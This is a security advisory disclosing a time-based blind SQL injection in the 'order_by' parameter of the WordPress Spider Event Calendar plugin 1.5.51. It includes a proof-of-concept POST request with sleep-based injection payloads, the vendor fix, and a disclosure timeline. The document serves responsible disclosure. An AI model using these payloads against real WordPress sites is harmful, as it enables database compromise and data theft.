WordPress Plugin Spider Event Calendar 1.5.51 – Blind SQL Injection
============================================= MGC ALERT 2017-003 - Original release date: April 06, 2017 - Last revised: April 10, 2017 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection II. BACKGROUND ------------------------- WordPress event calendar is a FREE user-friendly responsive plugin to manage multiple recurring events and with various options. III. DESCRIPTION ------------------------- This bug was found using the portal in the files: /spider-event-calendar/calendar_functions.php: if (isset($_POST['order_by'])) { /spider-event-calendar/widget_Theme_functions.php: if (isset($_POST['order_by']) && $_POST['order_by'] != '') { And when the query is executed, the parameter "order_by" it is not sanitized: /spider-event-calendar/front_end/frontend_functions.php: $rows = $wpdb->get_results($query." ".$order_by); To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code. IV. PROOF OF CONCEPT ------------------------- The following URL have been confirmed to all suffer from Time Based SQL Injection. Time Based SQL Injection POC: POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1 search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a) (2 seconds of response) search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a) (30 seconds of response) V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- Spider Event Calendar <= 1.5.51 VII. SOLUTION ------------------------- Vendor release a new version. https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip VIII. REFERENCES ------------------------- https://es.wordpress.org/plugins/spider-event-calendar/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel García Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- April 06, 2017 1: Initial release April 10, 2017 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas April 06, 2017 2: Send to vendor April 07, 2017 3: Vendor fix the vulnerability and release a new version April 10, 2017 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester |